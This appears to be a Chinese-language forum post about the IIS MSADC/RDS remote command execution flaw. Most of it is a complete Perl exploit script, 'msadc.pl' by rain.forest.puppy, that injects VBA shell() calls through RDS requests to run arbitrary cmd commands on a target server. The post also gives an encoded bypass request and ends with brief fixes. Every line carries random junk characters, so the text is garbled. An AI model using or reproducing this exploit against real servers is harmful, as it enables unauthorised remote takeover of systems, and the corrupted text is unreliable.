IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N Uml" $^ 3 f}IzA 涉及程序:
+JVfnTd Microsoft NT server
{<BK@U P6'I:/V 描述:
.H.v c_/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=
F<`-6 g5\B- 3{ 详细:
]gk1h=Y~h 如果你没有时间读详细内容的话,就删除:
8R D)yRJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
#<3\}*/ 有关的安全问题就没有了。
s``L?9 :UciFIa 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
cv1L!Ce, [D\AVx& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
>f/g:[ 关于利用ODBC远程漏洞的描述,请参看:
=Ji:nEl]z ?J-KB3Uv3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xb>+~5 9: SQx):L)P6 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z<*]h^!3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;hDr+&J| 2uEu,YC 这里不再论述。
?Fv(4g c5pG?jr+d 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
1jVcL)szU j=4>In?x /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`-m7CT sA 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
EG6fC4rfC v2R:=d
')> UPF=X)!M #将下面这段保存为txt文件,然后: "perl -x 文件名"
+=4b5*+qG !vw0Y,F& #!perl
KG@hjO #
Sa5 y7
# MSADC/RDS 'usage' (aka exploit) script
M`'2
a #
Sq%R # by rain.forest.puppy
oef(i}8O@ #
/8T{bJ5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
db|$7]!w # beta test and find errors!
6yqp<D0SP)
KW\`&ki use Socket; use Getopt::Std;
\&0NH=*^ getopts("e:vd:h:XR", \%args);
wC~Uy% we3t,?`rk7 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;C'*Ui 1)y}.y5S if (!defined $args{h} && !defined $args{R}) {
r>\.b{wI print qq~
m{|n.b Usage: msadc.pl -h <host> { -d <delay> -X -v }
cxV3Vrx@A -h <host> = host you want to scan (ip or domain)
=1C9lKm -d <seconds> = delay between calls, default 1 second
Tec6]
: -X = dump Index Server path table, if available
qI9 BAs1~} -v = verbose
{1[8,Ho -e = external dictionary file for step 5
NT0q!r/! b.(^CYYQ Or a -R will resume a command session
fy5)Tih%.* A7se#"w ~; exit;}
TQE_zOa: Wp $\> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
CAfG3;
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R4?/7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8}2
`^<U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
oVdmgmT.Y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&LE/hA if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f`cO5lP/:) x\WKsc if (!defined $args{R}){ $ret = &has_msadc;
38F8(QU{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8I%1
`V ;IyQqP#,< print "Please type the NT commandline you want to run (cmd /c assumed):\n"
t+t&eg . "cmd /c ";
1QThAFN $in=<STDIN>; chomp $in;
6;Bqu5_Cj $command="cmd /c " . $in ;
@C#lA2(I4 74_ji! if (defined $args{R}) {&load; exit;}
t5S S] pV_2JXM~@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/n_N`VJ7H &try_btcustmr;
umY4tNe]$ WE\V<MGS/ print "\nStep 2: Trying to make our own DSN...";
kjH0u$n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0oD?4gn ]`%cTdpLj print "\nStep 3: Trying known DSNs...";
:^K|u^_>P &known_dsn;
\O[Cae:^?
Re`= B print "\nStep 4: Trying known .mdbs...";
w;XX jT &known_mdb;
TWMD f ~e|~c<!z8@ if (defined $args{e}){
vq|W& print "\nStep 5: Trying dictionary of DSN names...";
ZDlMkHJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%%*t{0!H+ Jf2 print "Sorry Charley...maybe next time?\n";
J^U#dYd exit;
RX'(
l tcfUhSz,I ##############################################################################
YDP< fN@2 B sub sendraw { # ripped and modded from whisker
2|+**BxHD sleep($delay); # it's a DoS on the server! At least on mine...
e(sQgtM6 my ($pstr)=@_;
;sDFTKf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:WE(1!P@ die("Socket problems\n");
:*1bhk8~ if(connect(S,pack "SnA4x8",2,80,$target)){
? r^+- select(S); $|=1;
6tVB}UKs print $pstr; my @in=<S>;
S~hNSw(- select(STDOUT); close(S);
bX8Bn0#a+ return @in;
\59+JLmP4 } else { die("Can't connect...\n"); }}
&{99Owqg q*8^938 ##############################################################################
,u/GA<'#M 88G Q F sub make_header { # make the HTTP request
72.ZE%Ue my $msadc=<<EOT
~!\n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Iq MXd K| User-Agent: ACTIVEDATA
A~u-Iv(U Host: $ip
\f.ceh;! Content-Length: $clen
L"9,K8 Connection: Keep-Alive
zxY =JY9K0S~ ADCClientVersion:01.06
6s@'z<Ct Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!>TH#sU$ 1t6VS 3 --!ADM!ROX!YOUR!WORLD!
5#~u U Content-Type: application/x-varg
qdWsP9}q Content-Length: $reqlen
q<dZy? f s%GhjWZS EOT
UoCFj2?C ; $msadc=~s/\n/\r\n/g;
1jO}{U return $msadc;}
%Sf%XNtu w|7<y8#qC ##############################################################################
'(4$h3-gv7 D=i)AZqMPp sub make_req { # make the RDS request
%i:Sf my ($switch, $p1, $p2)=@_;
Ou>L|#=! my $req=""; my $t1, $t2, $query, $dsn;
w-LMV>+6| 4*&_h g)h if ($switch==1){ # this is the btcustmr.mdb query
0j@gC0xu)| $query="Select * from Customers where City=" . make_shell();
V*U{q%p( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
M:YtW5{ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
x 8|sdZFxo d ]R&mp|' elsif ($switch==2){ # this is general make table query
PRa#;Wb $query="create table AZZ (B int, C varchar(10))";
&;I=*B~kE$ $dsn="$p1";}
)2~Iqzc4 ~`~mnlN elsif ($switch==3){ # this is general exploit table query
u czOSd $query="select * from AZZ where C=" . make_shell();
7#wdBB% $dsn="$p1";}
1w*DU9f .s Ci9d
WR elsif ($switch==4){ # attempt to hork file info from index server
qn=~4rg]R $query="select path from scope()";
m_
>+$uL $dsn="Provider=MSIDXS;";}
8$4@U;Vh; 0<(F
8 elsif ($switch==5){ # bad query
V 3?x_pp $query="select";
{kVhht]X $dsn="$p1";}
h' #C$i vy&q7EX<i $t1= make_unicode($query);
%an"cQ
] $t2= make_unicode($dsn);
T-S6`^_L $req = "\x02\x00\x03\x00";
`0'Bg2' $req.= "\x08\x00" . pack ("S1", length($t1));
RHe'L36W $req.= "\x00\x00" . $t1 ;
e!BablG[ $req.= "\x08\x00" . pack ("S1", length($t2));
]w*w@:Zk $req.= "\x00\x00" . $t2 ;
MhT.Zg\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w=Cqv~ return $req;}
u6tD5Y 1VRexp ##############################################################################
Tp-<!^o4 <~D-ew^BU sub make_shell { # this makes the shell() statement
uv>T8(w return "'|shell(\"$command\")|'";}
0{0BL@H "'i" @CR ##############################################################################
G3r9@2OC m 3k}iIU7 sub make_unicode { # quick little function to convert to unicode
hqr V {c my ($in)=@_; my $out;
DSb/+8KT for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
YhpNeP{A return $out;}
rwYlg: B{`4"uEb$G ##############################################################################
AiMD"7
)c
LY>-kz] sub rdo_success { # checks for RDO return success (this is kludge)
^dc~hD my (@in) = @_; my $base=content_start(@in);
<Vu/6"DP if($in[$base]=~/multipart\/mixed/){
>'\cNM~nf return 1 if( $in[$base+10]=~/^\x09\x00/ );}
02|f@bP. return 0;}
?<7o\Xk#{ 39j "z8n ##############################################################################
qQzf&" )+!~xL sub make_dsn { # this makes a DSN for us
MGoYL\ my @drives=("c","d","e","f");
d`M]>EDXp print "\nMaking DSN: ";
P8Nzz(JF foreach $drive (@drives) {
y}TiN!M print "$drive: ";
`F)Q= my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
JYQ.Y!X1O "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
e7fA-,DV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qJ\tc\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>=<qAkk return 0 if $2 eq "404"; # not found/doesn't exist
yW3X<
if($2 eq "200") {
WGG
Va foreach $line (@results) {
>%v w(pt return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!kzC1U } return 0;}
m@qM|%(0x BPFd'-O) ##############################################################################
WGxe3(d z%
ln} sub verify_exists {
|(mr&7O my ($page)=@_;
fWr6f`de my @results=sendraw("GET $page HTTP/1.0\n\n");
J|ni'Hb return $results[0];}
q;Y9_5S X<6Ro
es2 ##############################################################################
/hC[>t< 7.-g=Rcz sub try_btcustmr {
vSu|!Xb] my @drives=("c","d","e","f");
Y6_%HYI$ my @dirs=("winnt","winnt35","winnt351","win","windows");
@O~ aFZu5-=x foreach $dir (@dirs) {
$?38o6 print "$dir -> "; # fun status so you can see progress
8(.DI/ foreach $drive (@drives) {
_.E y_K_1 print "$drive: "; # ditto
.I6:iB $reqlen=length( make_req(1,$drive,$dir) ) - 28;
bzI!;P1& $reqlenlen=length( "$reqlen" );
gH{X? $clen= 206 + $reqlenlen + $reqlen;
bp'qrcFuiL mPl2y3m% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SAuZWA4g[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?A!Lh, else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Mn<G9KR $jLJ&R=?] ##############################################################################
3ug|H kh11Y1Q0d sub odbc_error {
h)O<bI8 my (@in)=@_; my $base;
s_`PPl_D$K my $base = content_start(@in);
/(`B;? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
A5d(L4Q]a( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$On $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b zz{ p1e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e ]@Ex return $in[$base+4].$in[$base+5].$in[$base+6];}
GCw<jHw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
qDOJ;>I print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
f
zu#! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
amPC C oiG@_YtR ##############################################################################
S6.N)7y 0YMmW xV sub verbose {
|!0R"lv'u my ($in)=@_;
k\:f2%!! return if !$verbose;
_}_lrg}U print STDOUT "\n$in\n";}
<Pg]V:=g' wm3fd7T ##############################################################################
?[[K6v}q{ M4;A4V=W sub save {
8QFn/&Ql$B my ($p1, $p2, $p3, $p4)=@_;
T<p,KqH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:+1S+w print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
wH:'5+u:6 close OUT;}
p[Z'Fl rcc.FS ##############################################################################
kg2?I L UOWOOdWSB sub load {
.3(=UQ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$,vZX u|Qw open(IN,"<rds.save") || die("Couldn't open rds.save\n");
HJY_l @p=<IN>; close(IN);
d|,,,+fS $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
QOG
S`
fh $target= inet_aton($ip) || die("inet_aton problems");
e`1,jt' print "Resuming to $ip ...";
vXUrS+~x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
X#s:C=q1 if($p[1]==1) {
Zi+>#kDV $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"s']@Qv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4|+6a6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b"Hg4i) if (rdo_success(@results)){print "Success!\n";}
dAOmqu,6 else { print "failed\n"; verbose(odbc_error(@results));}}
1goK>=-^ elsif ($p[1]==3){
~jd:3ip+! if(run_query("$p[3]")){
WMB~?
EDhv print "Success!\n";} else { print "failed\n"; }}
^s@?\v elsif ($p[1]==4){
~rBeJZ if(run_query($drvst . "$p[3]")){
buGYHZu print "Success!\n"; } else { print "failed\n"; }}
'bP-pgc exit;}
`pp"htm "FC;k
>m ##############################################################################
H'uRgBjWJ P |c6V sub create_table {
e![|-m% my ($in)=@_;
D7%`hU $reqlen=length( make_req(2,$in,"") ) - 28;
/*Z,i&eC $reqlenlen=length( "$reqlen" );
EP#3+BsH $clen= 206 + $reqlenlen + $reqlen;
*iB_$7n` my @results=sendraw(make_header() . make_req(2,$in,""));
6MfjB@ return 1 if rdo_success(@results);
f=v+D0K$n my $temp= odbc_error(@results); verbose($temp);
4ze-N8<[ return 1 if $temp=~/Table 'AZZ' already exists/;
M*)}F return 0;}
Q!Rknj 2 umXa ##############################################################################
3n']\V wK@k}d sub known_dsn {
}Vw"7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-#v1b>ScY my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7O{c>@\
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
tP2hU[7Z "banner", "banners", "ads", "ADCDemo", "ADCTest");
RE]u2R6Y %&bO+$H3 foreach $dSn (@dsns) {
? 6B
n&qa print ".";
jGM~(;iw6i next if (!is_access("DSN=$dSn"));
X:\ r ) if(create_table("DSN=$dSn")){
))}w;w print "$dSn successful\n";
p=6Q0r|' if(run_query("DSN=$dSn")){
ZK))91;v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
= >)S\Dfi print "Something's borked. Use verbose next time\n";}}} print "\n";}
^B2>lx\n ml7]sN( ##############################################################################
j+Nun w">XI)*z sub is_access {
DPn]de:e my ($in)=@_;
Hep]jxp+ $reqlen=length( make_req(5,$in,"") ) - 28;
xtL_,ug $reqlenlen=length( "$reqlen" );
I9Af\ k|^ $clen= 206 + $reqlenlen + $reqlen;
gq`gitu0 my @results=sendraw(make_header() . make_req(5,$in,""));
-~eNC^t;W my $temp= odbc_error(@results);
yhQv $D,^f verbose($temp); return 1 if ($temp=~/Microsoft Access/);
fkWuSGi return 0;}
7{j9vl6 TI: -Y@8 ##############################################################################
:.6kXX'~ $-Q,@Bztq sub run_query {
j}Lt"r2F my ($in)=@_;
zh)qo $reqlen=length( make_req(3,$in,"") ) - 28;
|Vc8W0~0 $reqlenlen=length( "$reqlen" );
D]v=/43 $clen= 206 + $reqlenlen + $reqlen;
qczGv2%! my @results=sendraw(make_header() . make_req(3,$in,""));
V*SKWP return 1 if rdo_success(@results);
A 1x?_S"a my $temp= odbc_error(@results); verbose($temp);
TTpK8cC return 0;}
!]4'f/ s2)a8< ##############################################################################
B<(v\=xZ a+ZP]3@
7 sub known_mdb {
.)|r!X my @drives=("c","d","e","f","g");
xJrRJwL my @dirs=("winnt","winnt35","winnt351","win","windows");
)]L:OE my $dir, $drive, $mdb;
eAS~>|N#x my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|,L_d2lb v|`f8M2 # this is sparse, because I don't know of many
"jly[M}C my @sysmdbs=( "\\catroot\\icatalog.mdb",
o:jLM7$= "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
F)g.CDQ!c "\\system32\\certmdb.mdb",
<Hl.MS "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ST1PSuC~ !q;EC`i# my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7k}[x|u "\\cfusion\\cfapps\\forums\\forums_.mdb",
dQLR%i#P8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
E#X1P #$pW "\\cfusion\\cfapps\\security\\realm_.mdb",
UbKdB "\\cfusion\\cfapps\\security\\data\\realm.mdb",
((F[]<? "\\cfusion\\database\\cfexamples.mdb",
_P.+[RS@ "\\cfusion\\database\\cfsnippets.mdb",
ykc$B5* "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
WgPpW!` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
w?]k$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
We%-?l:" "\\cfusion\\database\\smpolicy.mdb",
Q]Q]kj2 "\\cfusion\\database\cypress.mdb",
qwJeeax "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
pB;)Hii\ "\\website\\cgi-win\\dbsample.mdb",
1wSJ w "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
UO$z_
p]w "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
S@;>lw,s! ); #these are just
&*iar+vr foreach $drive (@drives) {
hGyi@0
foreach $dir (@dirs){
VXlTA>a } foreach $mdb (@sysmdbs) {
pH5"g"e1 print ".";
$ KQ7S>T if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(cJb/|?3 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
o\u31, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
?-[.H^]s~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3D70`u } else { print "Something's borked. Use verbose next time\n"; }}}}}
+ou5cQ^ Ag
QR"Nu6 foreach $drive (@drives) {
Vvu+gP'z. foreach $mdb (@mdbs) {
]etLobV print ".";
10xo<@l if(create_table($drv . $drive . $dir . $mdb)){
C^I h"S print "\n" . $drive . $dir . $mdb . " successful\n";
:c%vl$ if(run_query($drv . $drive . $dir . $mdb)){
<Okk;rj2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
] >-#T } else { print "Something's borked. Use verbose next time\n"; }}}}
e{@TR x }
u|h>z|4lJj r168ft?c ##############################################################################
yE L^Y'x? UqRm\h sub hork_idx {
@*jd.a` print "\nAttempting to dump Index Server tables...\n";
x"0*U9f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%toxZ}OP $reqlen=length( make_req(4,"","") ) - 28;
[X[d`@rXv $reqlenlen=length( "$reqlen" );
.n]P6t $clen= 206 + $reqlenlen + $reqlen;
7Fb |~In<Z my @results=sendraw2(make_header() . make_req(4,"",""));
^pA|ubZ if (rdo_success(@results)){
0kP,Zj< my $max=@results; my $c; my %d;
-ZqN~5>j) for($c=19; $c<$max; $c++){
GWa_^ $results[$c]=~s/\x00//g;
-#T?C]} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>i=^Mh-bm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(@Q@B%!!K $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~L
j[xP $d{"$1$2"}="";}
r
J'm>&Ps foreach $c (keys %d){ print "$c\n"; }
QZ(se } else {print "Index server doesn't seem to be installed.\n"; }}
Y%OE1F$6NN gf2<dEff ##############################################################################
_
h\wH; j2NnDz' sub dsn_dict {
PK^{WF}L; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
mf]1mG}) while(<IN>){
Z'iXuI49 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V4p4m@z^u next if (!is_access("DSN=$dSn"));
@+1-_Q`s/R if(create_table("DSN=$dSn")){
:{NvBxc[ print "$dSn successful\n";
qXmkeidb&W if(run_query("DSN=$dSn")){
e-vL!&;2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{~7VA print "Something's borked. Use verbose next time\n";}}}
6u^MfOc print "\n"; close(IN);}
b}63?.M{ +BcJHNIB ##############################################################################
Et{4*+A 3]Rb2$p[= sub sendraw2 { # ripped and modded from whisker
|4NH}XVYJ> sleep($delay); # it's a DoS on the server! At least on mine...
LO{{3No my ($pstr)=@_;
8+m;zvDSU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C8i6ESmU die("Socket problems\n");
'&4W@lvyz if(connect(S,pack "SnA4x8",2,80,$target)){
td{M%D,R" print "Connected. Getting data";
4A(kM}uRB open(OUT,">raw.out"); my @in;
lN"%~n? select(S); $|=1; print $pstr;
pX3Q@3,$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+$R4'{9q close(OUT); select(STDOUT); close(S); return @in;
9A0wiKp } else { die("Can't connect...\n"); }}
Zhb)n #=r:;,, ##############################################################################
K~Lh'6 #T_m|LN7 sub content_start { # this will take in the server headers
Z}74%
9qE my (@in)=@_; my $c;
RL0,QC)e#@ for ($c=1;$c<500;$c++) {
@C7iflo6 if($in[$c] =~/^\x0d\x0a/){
D0Cs
g39 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
f4Aevh: else { return $c+1; }}}
8z\v|-%Z return -1;} # it should never get here actually
3_k.`s_Z ^gx`@^su ##############################################################################
}!{9tc$<b zFVNb sub funky {
W8hf
Qpw my (@in)=@_; my $error=odbc_error(@in);
[:Kl0m7 if($error=~/ADO could not find the specified provider/){
YU! SdT$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
RK%N:!fq= exit;}
)Zx;Z[ if($error=~/A Handler is required/){
D=*3Xd print "\nServer has custom handler filters (they most likely are patched)\n";
*h59Vaoc exit;}
26n+v(re if($error=~/specified Handler has denied Access/){
x>MrB print "\nServer has custom handler filters (they most likely are patched)\n";
VB x,q3. exit;}}
* N5cC#5`= (80 Tbi~+ ##############################################################################
@&!`.Y oy M1(+_W` sub has_msadc {
KI&+Zw4VL my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ux-puG my $base=content_start(@results);
OhUEp g[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
U/2]ACGCN^ return 0;}
d8l T+MS= :oRR1k ########################
k e$g[g ~dkN`1$v 'F3cvpc` 解决方案:
dg#w/}}m 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]&l.-0jt 2、移除web 目录: /msadc